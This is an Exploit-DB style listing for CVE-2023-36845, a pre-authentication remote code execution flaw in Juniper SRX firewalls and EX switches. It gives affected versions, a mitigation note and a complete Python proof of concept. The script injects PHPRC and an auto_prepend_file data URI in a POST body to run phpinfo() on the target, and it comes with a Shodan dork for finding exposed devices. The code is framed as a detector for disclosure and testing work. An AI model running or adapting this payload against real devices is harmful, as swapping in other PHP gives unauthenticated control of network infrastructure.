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vendor:
Juniper SRX Firewalls, Juniper EX Switches
by:
whiteOwl
6.1
CVSS
HIGH
Remote Code Execution (RCE)
94
CWE
Product Name: Juniper SRX Firewalls, Juniper EX Switches
Affected Version From: Versions prior to 20.4R3-S9, 21.1R1, 21.2R3-S7, 21.3R3-S5, 21.4R3-S5, 22.1R3-S4, 22.2R3-S2, 22.3R2-S2/R3-S1, 22.4R2-S1/R3, 23.2R1-S1/R2
Affected Version To: Not specified
Patch Exists: YES
Related CWE: CVE-2023-36845
CPE: a:juniper_networks:srx_firewalls cpe:/a:juniper_networks:ex_switches
Metasploit:
Other Scripts:
Platforms Tested: JUNOS SM804122pri 15.1X49-D170.4
2023

Juniper SRX Firewalls & EX Switches PreAuth RCE

The vulnerability allows an attacker to execute the phpinfo() function on the login page of the target device, enabling them to inspect the PHP configuration. The exploit also provides an option to save the phpinfo() output to a file for further analysis. This code serves as both a vulnerability detector and a proof of concept for CVE-2023-36845.

Mitigation:

Update to versions 20.4R3-S9, 21.1R1, 21.2R3-S7, 21.3R3-S5, 21.4R3-S5, 22.1R3-S4, 22.2R3-S2, 22.3R2-S2/R3-S1, 22.4R2-S1/R3, 23.2R1-S1/R2 or later. Restrict network access to the affected devices.
Source

Exploit-DB raw data:

# ***************************************************************************************************
# Exploit Title: juniper-SRX-Firewalls&EX-switches (PreAuth-RCE) (PoC)
# Description:
#
# This code serves as both a vulnerability detector and a proof of concept for CVE-2023-36845.
# It executes the phpinfo() function on the login page of the target device, 
# allowing to inspect the PHP configuration. also this script has the option to save the phpinfo() 
# output to a file for further analysis.
#
# Shodan Dork: http.favicon.hash:2141724739
# Date: 2023/10/01
# Exploit Author: whiteOwl (whiteowl.pub@gmail.com)
# Vendor Homepage: https://whiteowl-pub.github.io
# Version: Versions Prior to 20.4R3-S9,21.1R1,21.2R3-S7,21.3R3-S5,
#          21.4R3-S5,22.1R3-S4,22.2R3-S2,22.3R2-S2/R3-S1,22.
#          4R2-S1/R3,23.2R1-S1/R2
# Tested on: JUNOS SM804122pri 15.1X49-D170.4
# CVE : cve-2023-36845
# ***************************************************************************************************

import argparse
import requests

banner = """
*************************************************************
* CVE-2023-36845 Vulnerability Detector & Proof of concept  *
* This script checks for the CVE-2023-36845 vulnerability   *
* and run phpinfo() on vulnerable devices.                  *
* If you suspect a vulnerable system, please take action    *
* immediately to secure it.                                 *
*                                                           *
* Author: whiteowl                                          *
*************************************************************
"""

def send_request(url, output_file=None, verbose=False):
    target_url = f"{url}/?PHPRC=/dev/fd/0"
    data = 'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'

    headers = {
        'User-Agent': 'Mozilla/5.0',
    }

    try:
        response = requests.post(target_url, headers=headers, data=data, stream=True)
        if response.status_code == 200:
            print("The Target Device is Vulnerable to: CVE-2023-36845")
        else:
            print("Not Vulnerable: Status Code", response.status_code)
            
        if output_file:
            with open(output_file, 'w', encoding='utf-8') as file:
                file.write(response.text)

        if verbose:
            print(f"HTTP Status Code: {response.status_code}")
            print("Response Headers:")
            for header, value in response.headers.items():
                print(f"{header}: {value}")
            print("Response Content:")
            print(response.text)
    except requests.exceptions.RequestException as e:
        print(f"An error occurred: {e}")

def main():
    print(banner) 
    parser = argparse.ArgumentParser(description="Custom curl-like script")
    parser.add_argument("-u", "--url", required=True, help="URL to send the HTTP request")
    parser.add_argument("-o", "--output", help="Output file to save the HTML content")
    parser.add_argument("-v", "--verbose", action="store_true", help="Enable verbose mode")

    args = parser.parse_args()
    send_request(args.url, args.output, args.verbose)

if __name__ == "__main__":
    main()